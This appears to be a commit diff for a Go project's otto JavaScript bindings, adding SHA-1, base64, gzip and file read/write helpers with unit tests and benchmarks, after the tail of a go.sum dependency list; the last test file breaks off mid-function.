github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 h1:UyzmZLoiDWMRywV4DUYb9Fbt8uiOSooupjTq10vpvnU=
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64 h1:l/T7dYuJEQZOwVOpjIXr1180aM9PZL/d1MnMVIxefX4=
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64/go.mod h1:Q1NAJOuRdQCqN/VIWdnaaEhV8LpeO2rtlBP7/iDJNII=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
go.einride.tech/can v0.14.0 h1:OkQ0jsjCk4ijgTMjD43V1NKQyDztpX7Vo/NrvmnsAXE=
go.einride.tech/can v0.14.0/go.mod h1:615YuRGnWfndMGD+f3Ud1sp1xJLP1oj14dKRtb2CXDQ=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.26.0 h1:EGMPT//Ezu+ylkCijjPc+f4Aih7sZvaAr+O3EHBxvZg=
golang.org/x/mod v0.26.0/go.mod h1:/j6NAhSk8iQ723BGAUyoAcn7SlD7s15Dp9Nd/SfeaFQ=
golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs=
golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw=
golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.34.0 h1:H5Y5sJ2L2JRdyv7ROF1he/lPdvFsd0mJHFw2ThKHxLA=
golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.27.0 h1:4fGWRpyh641NLlecmyl4LOe6yDdfaYNrGb2zdfo4JV4=
golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.35.0 h1:mBffYraMEf7aa0sB+NuKnuCy8qI/9Bughn8dC2Gu5r0=
golang.org/x/tools v0.35.0/go.mod h1:NKdj5HkL/73byiZSJjqJgKn3ep7KjFkBOkR/Hps3VPw=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/sourcemap.v1 v1.0.5 h1:inv58fC9f9J3TK2Y2R1NPntXEn3/wjWHkonhIUODNTI=
gopkg.in/sourcemap.v1 v1.0.5/go.mod h1:2RlvNNSMglmRrcvhfuzp4hQHwOtjxlbjX7UPY/GXb78=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU=
gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU=

29
js/crypto.go Normal file
View file

@ -0,0 +1,29 @@
package js
import (
"crypto/sha1"
"github.com/robertkrimen/otto"
)
func cryptoSha1(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("Crypto.sha1: expected 1 argument, %d given instead.", argc)
}
arg := argv[0]
if (!arg.IsString()) {
return ReportError("Crypto.sha1: single argument must be a string.")
}
hasher := sha1.New()
hasher.Write([]byte(arg.String()))
v, err := otto.ToValue(string(hasher.Sum(nil)))
if err != nil {
return ReportError("Crypto.sha1: could not convert to string: %s", err)
}
return v
}

164
js/data.go Normal file
View file

@ -0,0 +1,164 @@
package js
import (
"bytes"
"compress/gzip"
"encoding/base64"
"github.com/robertkrimen/otto"
)
func textEncode(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("textEncode: expected 1 argument, %d given instead.", argc)
}
arg := argv[0]
if (!arg.IsString()) {
return ReportError("textEncode: single argument must be a string.")
}
encoded := []byte(arg.String())
vm := otto.New()
v, err := vm.ToValue(encoded)
if err != nil {
return ReportError("textEncode: could not convert to []uint8: %s", err.Error())
}
return v
}
func textDecode(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("textDecode: expected 1 argument, %d given instead.", argc)
}
arg, err := argv[0].Export()
if err != nil {
return ReportError("textDecode: could not export argument value: %s", err.Error())
}
byteArr, ok := arg.([]uint8)
if !ok {
return ReportError("textDecode: single argument must be of type []uint8.")
}
decoded := string(byteArr)
v, err := otto.ToValue(decoded)
if err != nil {
return ReportError("textDecode: could not convert to string: %s", err.Error())
}
return v
}
func btoa(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("btoa: expected 1 argument, %d given instead.", argc)
}
arg := argv[0]
if (!arg.IsString()) {
return ReportError("btoa: single argument must be a string.")
}
encoded := base64.StdEncoding.EncodeToString([]byte(arg.String()))
v, err := otto.ToValue(encoded)
if err != nil {
return ReportError("btoa: could not convert to string: %s", err.Error())
}
return v
}
func atob(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("atob: expected 1 argument, %d given instead.", argc)
}
arg := argv[0]
if (!arg.IsString()) {
return ReportError("atob: single argument must be a string.")
}
decoded, err := base64.StdEncoding.DecodeString(arg.String())
if err != nil {
return ReportError("atob: could not decode string: %s", err.Error())
}
v, err := otto.ToValue(string(decoded))
if err != nil {
return ReportError("atob: could not convert to string: %s", err.Error())
}
return v
}
func gzipCompress(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("gzipCompress: expected 1 argument, %d given instead.", argc)
}
arg := argv[0]
if (!arg.IsString()) {
return ReportError("gzipCompress: single argument must be a string.")
}
uncompressedBytes := []byte(arg.String())
var writerBuffer bytes.Buffer
gzipWriter := gzip.NewWriter(&writerBuffer)
_, err := gzipWriter.Write(uncompressedBytes)
if err != nil {
return ReportError("gzipCompress: could not compress data: %s", err.Error())
}
gzipWriter.Close()
compressedBytes := writerBuffer.Bytes()
v, err := otto.ToValue(string(compressedBytes))
if err != nil {
return ReportError("gzipCompress: could not convert to string: %s", err.Error())
}
return v
}
func gzipDecompress(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("gzipDecompress: expected 1 argument, %d given instead.", argc)
}
compressedBytes := []byte(argv[0].String())
readerBuffer := bytes.NewBuffer(compressedBytes)
gzipReader, err := gzip.NewReader(readerBuffer)
if err != nil {
return ReportError("gzipDecompress: could not create gzip reader: %s", err.Error())
}
var decompressedBuffer bytes.Buffer
_, err = decompressedBuffer.ReadFrom(gzipReader)
if err != nil {
return ReportError("gzipDecompress: could not decompress data: %s", err.Error())
}
decompressedBytes := decompressedBuffer.Bytes()
v, err := otto.ToValue(string(decompressedBytes))
if err != nil {
return ReportError("gzipDecompress: could not convert to string: %s", err.Error())
}
return v
}

514
js/data_test.go Normal file
View file

@ -0,0 +1,514 @@
package js
import (
"encoding/base64"
"strings"
"testing"
"github.com/robertkrimen/otto"
)
func TestBtoa(t *testing.T) {
vm := otto.New()
tests := []struct {
name string
input string
expected string
}{
{
name: "simple string",
input: "hello world",
expected: base64.StdEncoding.EncodeToString([]byte("hello world")),
},
{
name: "empty string",
input: "",
expected: base64.StdEncoding.EncodeToString([]byte("")),
},
{
name: "special characters",
input: "!@#$%^&*()_+-=[]{}|;:,.<>?",
expected: base64.StdEncoding.EncodeToString([]byte("!@#$%^&*()_+-=[]{}|;:,.<>?")),
},
{
name: "unicode string",
input: "Hello 世界 🌍",
expected: base64.StdEncoding.EncodeToString([]byte("Hello 世界 🌍")),
},
{
name: "newlines and tabs",
input: "line1\nline2\ttab",
expected: base64.StdEncoding.EncodeToString([]byte("line1\nline2\ttab")),
},
{
name: "long string",
input: strings.Repeat("a", 1000),
expected: base64.StdEncoding.EncodeToString([]byte(strings.Repeat("a", 1000))),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Create call with argument
arg, _ := vm.ToValue(tt.input)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := btoa(call)
// Check if result is an error
if result.IsUndefined() {
t.Fatal("btoa returned undefined")
}
// Get string value
resultStr, err := result.ToString()
if err != nil {
t.Fatalf("failed to convert result to string: %v", err)
}
if resultStr != tt.expected {
t.Errorf("btoa(%q) = %q, want %q", tt.input, resultStr, tt.expected)
}
})
}
}
func TestAtob(t *testing.T) {
vm := otto.New()
tests := []struct {
name string
input string
expected string
wantError bool
}{
{
name: "simple base64",
input: base64.StdEncoding.EncodeToString([]byte("hello world")),
expected: "hello world",
},
{
name: "empty base64",
input: base64.StdEncoding.EncodeToString([]byte("")),
expected: "",
},
{
name: "special characters base64",
input: base64.StdEncoding.EncodeToString([]byte("!@#$%^&*()_+-=[]{}|;:,.<>?")),
expected: "!@#$%^&*()_+-=[]{}|;:,.<>?",
},
{
name: "unicode base64",
input: base64.StdEncoding.EncodeToString([]byte("Hello 世界 🌍")),
expected: "Hello 世界 🌍",
},
{
name: "invalid base64",
input: "not valid base64!",
wantError: true,
},
{
name: "invalid padding",
input: "SGVsbG8gV29ybGQ", // Missing padding
wantError: true,
},
{
name: "long base64",
input: base64.StdEncoding.EncodeToString([]byte(strings.Repeat("a", 1000))),
expected: strings.Repeat("a", 1000),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Create call with argument
arg, _ := vm.ToValue(tt.input)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := atob(call)
// Get string value
resultStr, err := result.ToString()
if err != nil && !tt.wantError {
t.Fatalf("failed to convert result to string: %v", err)
}
if tt.wantError {
// Should return undefined (NullValue) on error
if !result.IsUndefined() {
t.Errorf("expected undefined for error case, got %q", resultStr)
}
} else {
if resultStr != tt.expected {
t.Errorf("atob(%q) = %q, want %q", tt.input, resultStr, tt.expected)
}
}
})
}
}
func TestGzipCompress(t *testing.T) {
vm := otto.New()
tests := []struct {
name string
input string
}{
{
name: "simple string",
input: "hello world",
},
{
name: "empty string",
input: "",
},
{
name: "repeated pattern",
input: strings.Repeat("abcd", 100),
},
{
name: "random text",
input: "The quick brown fox jumps over the lazy dog. " + strings.Repeat("Lorem ipsum dolor sit amet. ", 10),
},
{
name: "unicode text",
input: "Hello 世界 🌍 " + strings.Repeat("测试数据 ", 50),
},
{
name: "binary-like data",
input: string([]byte{0, 1, 2, 3, 255, 254, 253, 252}),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Create call with argument
arg, _ := vm.ToValue(tt.input)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
result := gzipCompress(call)
// Get compressed data
compressed, err := result.ToString()
if err != nil {
t.Fatalf("failed to convert result to string: %v", err)
}
// Verify it's actually compressed (for non-empty strings, compressed should be different)
if tt.input != "" && compressed == tt.input {
t.Error("compressed data is same as input")
}
// Verify gzip header (should start with 0x1f, 0x8b)
if len(compressed) >= 2 {
if compressed[0] != 0x1f || compressed[1] != 0x8b {
t.Error("compressed data doesn't have valid gzip header")
}
}
// Now decompress to verify
argCompressed, _ := vm.ToValue(compressed)
callDecompress := otto.FunctionCall{
ArgumentList: []otto.Value{argCompressed},
}
resultDecompressed := gzipDecompress(callDecompress)
decompressed, err := resultDecompressed.ToString()
if err != nil {
t.Fatalf("failed to decompress: %v", err)
}
if decompressed != tt.input {
t.Errorf("round-trip failed: got %q, want %q", decompressed, tt.input)
}
})
}
}
func TestGzipCompressInvalidArgs(t *testing.T) {
vm := otto.New()
tests := []struct {
name string
args []otto.Value
}{
{
name: "no arguments",
args: []otto.Value{},
},
{
name: "too many arguments",
args: func() []otto.Value {
arg1, _ := vm.ToValue("test")
arg2, _ := vm.ToValue("extra")
return []otto.Value{arg1, arg2}
}(),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
call := otto.FunctionCall{
ArgumentList: tt.args,
}
result := gzipCompress(call)
// Should return undefined (NullValue) on error
if !result.IsUndefined() {
resultStr, _ := result.ToString()
t.Errorf("expected undefined for error case, got %q", resultStr)
}
})
}
}
func TestGzipDecompress(t *testing.T) {
vm := otto.New()
// First compress some data
originalData := "This is test data for decompression"
arg, _ := vm.ToValue(originalData)
compressCall := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
compressedResult := gzipCompress(compressCall)
compressedData, _ := compressedResult.ToString()
t.Run("valid decompression", func(t *testing.T) {
argCompressed, _ := vm.ToValue(compressedData)
decompressCall := otto.FunctionCall{
ArgumentList: []otto.Value{argCompressed},
}
result := gzipDecompress(decompressCall)
decompressed, err := result.ToString()
if err != nil {
t.Fatalf("failed to convert result to string: %v", err)
}
if decompressed != originalData {
t.Errorf("decompressed data doesn't match original: got %q, want %q", decompressed, originalData)
}
})
t.Run("invalid gzip data", func(t *testing.T) {
argInvalid, _ := vm.ToValue("not gzip data")
call := otto.FunctionCall{
ArgumentList: []otto.Value{argInvalid},
}
result := gzipDecompress(call)
// Should return undefined (NullValue) on error
if !result.IsUndefined() {
resultStr, _ := result.ToString()
t.Errorf("expected undefined for error case, got %q", resultStr)
}
})
t.Run("corrupted gzip data", func(t *testing.T) {
// Create corrupted gzip by taking valid gzip and modifying it
corruptedData := compressedData[:len(compressedData)/2] + "corrupted"
argCorrupted, _ := vm.ToValue(corruptedData)
call := otto.FunctionCall{
ArgumentList: []otto.Value{argCorrupted},
}
result := gzipDecompress(call)
// Should return undefined (NullValue) on error
if !result.IsUndefined() {
resultStr, _ := result.ToString()
t.Errorf("expected undefined for error case, got %q", resultStr)
}
})
}
func TestGzipDecompressInvalidArgs(t *testing.T) {
vm := otto.New()
tests := []struct {
name string
args []otto.Value
}{
{
name: "no arguments",
args: []otto.Value{},
},
{
name: "too many arguments",
args: func() []otto.Value {
arg1, _ := vm.ToValue("test")
arg2, _ := vm.ToValue("extra")
return []otto.Value{arg1, arg2}
}(),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
call := otto.FunctionCall{
ArgumentList: tt.args,
}
result := gzipDecompress(call)
// Should return undefined (NullValue) on error
if !result.IsUndefined() {
resultStr, _ := result.ToString()
t.Errorf("expected undefined for error case, got %q", resultStr)
}
})
}
}
func TestBtoaAtobRoundTrip(t *testing.T) {
vm := otto.New()
testStrings := []string{
"simple",
"",
"with spaces and\nnewlines\ttabs",
"special!@#$%^&*()_+-=[]{}|;:,.<>?",
"unicode 世界 🌍",
strings.Repeat("long string ", 100),
}
for _, original := range testStrings {
t.Run(original, func(t *testing.T) {
// Encode with btoa
argOriginal, _ := vm.ToValue(original)
encodeCall := otto.FunctionCall{
ArgumentList: []otto.Value{argOriginal},
}
encoded := btoa(encodeCall)
encodedStr, _ := encoded.ToString()
// Decode with atob
argEncoded, _ := vm.ToValue(encodedStr)
decodeCall := otto.FunctionCall{
ArgumentList: []otto.Value{argEncoded},
}
decoded := atob(decodeCall)
decodedStr, _ := decoded.ToString()
if decodedStr != original {
t.Errorf("round-trip failed: got %q, want %q", decodedStr, original)
}
})
}
}
func TestGzipCompressDecompressRoundTrip(t *testing.T) {
vm := otto.New()
testData := []string{
"simple",
"",
strings.Repeat("repetitive data ", 100),
"unicode 世界 🌍 " + strings.Repeat("测试 ", 50),
string([]byte{0, 1, 2, 3, 255, 254, 253, 252}),
}
for _, original := range testData {
t.Run(original, func(t *testing.T) {
// Compress
argOriginal, _ := vm.ToValue(original)
compressCall := otto.FunctionCall{
ArgumentList: []otto.Value{argOriginal},
}
compressed := gzipCompress(compressCall)
compressedStr, _ := compressed.ToString()
// Decompress
argCompressed, _ := vm.ToValue(compressedStr)
decompressCall := otto.FunctionCall{
ArgumentList: []otto.Value{argCompressed},
}
decompressed := gzipDecompress(decompressCall)
decompressedStr, _ := decompressed.ToString()
if decompressedStr != original {
t.Errorf("round-trip failed: got %q, want %q", decompressedStr, original)
}
})
}
}
func BenchmarkBtoa(b *testing.B) {
vm := otto.New()
arg, _ := vm.ToValue("The quick brown fox jumps over the lazy dog")
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = btoa(call)
}
}
func BenchmarkAtob(b *testing.B) {
vm := otto.New()
encoded := base64.StdEncoding.EncodeToString([]byte("The quick brown fox jumps over the lazy dog"))
arg, _ := vm.ToValue(encoded)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = atob(call)
}
}
func BenchmarkGzipCompress(b *testing.B) {
vm := otto.New()
data := strings.Repeat("The quick brown fox jumps over the lazy dog. ", 10)
arg, _ := vm.ToValue(data)
call := otto.FunctionCall{
ArgumentList: []otto.Value{arg},
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = gzipCompress(call)
}
}
func BenchmarkGzipDecompress(b *testing.B) {
vm := otto.New()
// First compress some data
data := strings.Repeat("The quick brown fox jumps over the lazy dog. ", 10)
argData, _ := vm.ToValue(data)
compressCall := otto.FunctionCall{
ArgumentList: []otto.Value{argData},
}
compressed := gzipCompress(compressCall)
compressedStr, _ := compressed.ToString()
// Benchmark decompression
argCompressed, _ := vm.ToValue(compressedStr)
decompressCall := otto.FunctionCall{
ArgumentList: []otto.Value{argCompressed},
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = gzipDecompress(decompressCall)
}
}

70
js/fs.go Normal file
View file

@ -0,0 +1,70 @@
package js
import (
"github.com/robertkrimen/otto"
"io/ioutil"
)
func readDir(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("readDir: expected 1 argument, %d given instead.", argc)
}
path := argv[0].String()
dir, err := ioutil.ReadDir(path)
if err != nil {
return ReportError("Could not read directory %s: %s", path, err)
}
entry_list := []string{}
for _, file := range dir {
entry_list = append(entry_list, file.Name())
}
v, err := otto.Otto.ToValue(*call.Otto, entry_list)
if err != nil {
return ReportError("Could not convert to array: %s", err)
}
return v
}
func readFile(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("readFile: expected 1 argument, %d given instead.", argc)
}
filename := argv[0].String()
raw, err := ioutil.ReadFile(filename)
if err != nil {
return ReportError("Could not read file %s: %s", filename, err)
}
v, err := otto.ToValue(string(raw))
if err != nil {
return ReportError("Could not convert to string: %s", err)
}
return v
}
func writeFile(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 2 {
return ReportError("writeFile: expected 2 arguments, %d given instead.", argc)
}
filename := argv[0].String()
data := argv[1].String()
err := ioutil.WriteFile(filename, []byte(data), 0644)
if err != nil {
return ReportError("Could not write %d bytes to %s: %s", len(data), filename, err)
}
return otto.NullValue()
}

684
js/fs_test.go Normal file
View file

@ -0,0 +1,684 @@
package js
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"github.com/robertkrimen/otto"
)
func TestReadDir(t *testing.T) {
vm := otto.New()
// Create a temporary directory for testing
tmpDir, err := ioutil.TempDir("", "js_test_readdir_*")
if err != nil {
t.Fatalf("failed to create temp dir: %v", err)
}
defer os.RemoveAll(tmpDir)
// Create some test files and subdirectories
testFiles := []string{"file1.txt", "file2.log", ".hidden"}
testDirs := []string{"subdir1", "subdir2"}
for _, name := range testFiles {
if err := ioutil.WriteFile(filepath.Join(tmpDir, name), []byte("test"), 0644); err != nil {
t.Fatalf("failed to create test file %s: %v", name, err)
}
}
for _, name := range testDirs {
if err := os.Mkdir(filepath.Join(tmpDir, name), 0755); err != nil {
t.Fatalf("failed to create test dir %s: %v", name, err)
}
}
t.Run("valid directory", func(t *testing.T) {
arg, _ := vm.ToValue(tmpDir)
call := otto.FunctionCall{
Otto: vm,
ArgumentList: []otto.Value{arg},
}
result := readDir(call)
// Check if result is not undefined
if result.IsUndefined() {
t.Fatal("readDir returned undefined")
}
// Convert to Go slice
export, err := result.Export()
if err != nil {
t.Fatalf("failed to export result: %v", err)
}
entries, ok := export.([]string)
if !ok {
t.Fatalf("expected []string, got %T", export)
}
// Check all expected entries are present
expectedEntries := append(testFiles, testDirs...)
if len(entries) != len(expectedEntries) {
t.Errorf("expected %d entries, got %d", len(expectedEntries), len(entries))
}
// Check each entry exists
for _, expected := range expectedEntries {
found := false
for _, entry := range entries {
if entry == expected {
found = true
break
}
}
if !found {
t.Errorf("expected entry %s not found", expected)
}
}
})
t.Run("non-existent directory", func(t *testing.T) {
arg, _ := vm.ToValue("/path/that/does/not/exist")
call := otto.FunctionCall{
Otto: vm,
ArgumentList: []otto.Value{arg},
}
result := readDir(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined for non-existent directory")
}
})
t.Run("file instead of directory", func(t *testing.T) {
// Create a file
testFile := filepath.Join(tmpDir, "notadir.txt")
ioutil.WriteFile(testFile, []byte("test"), 0644)
arg, _ := vm.ToValue(testFile)
call := otto.FunctionCall{
Otto: vm,
ArgumentList: []otto.Value{arg},
}
result := readDir(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined when passing file instead of directory")
}
})
t.Run("invalid arguments", func(t *testing.T) {
tests := []struct {
name string
args []otto.Value
}{
{
name: "no arguments",
args: []otto.Value{},
},
{
name: "too many arguments",
args: func() []otto.Value {
arg1, _ := vm.ToValue(tmpDir)
arg2, _ := vm.ToValue("extra")
return []otto.Value{arg1, arg2}
}(),
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
call := otto.FunctionCall{
Otto: vm,
ArgumentList: tt.args,
}
result := readDir(call)
// Should return undefined (error)
if !result.IsUndefined() {
t.Error("expected undefined for invalid arguments")
}
})
}
})
t.Run("empty directory", func(t *testing.T) {
emptyDir := filepath.Join(tmpDir, "empty")
os.Mkdir(emptyDir, 0755)
arg, _ := vm.ToValue(emptyDir)
call := otto.FunctionCall{
Otto: vm,
ArgumentList: []otto.Value{arg},
}
result := readDir(call)
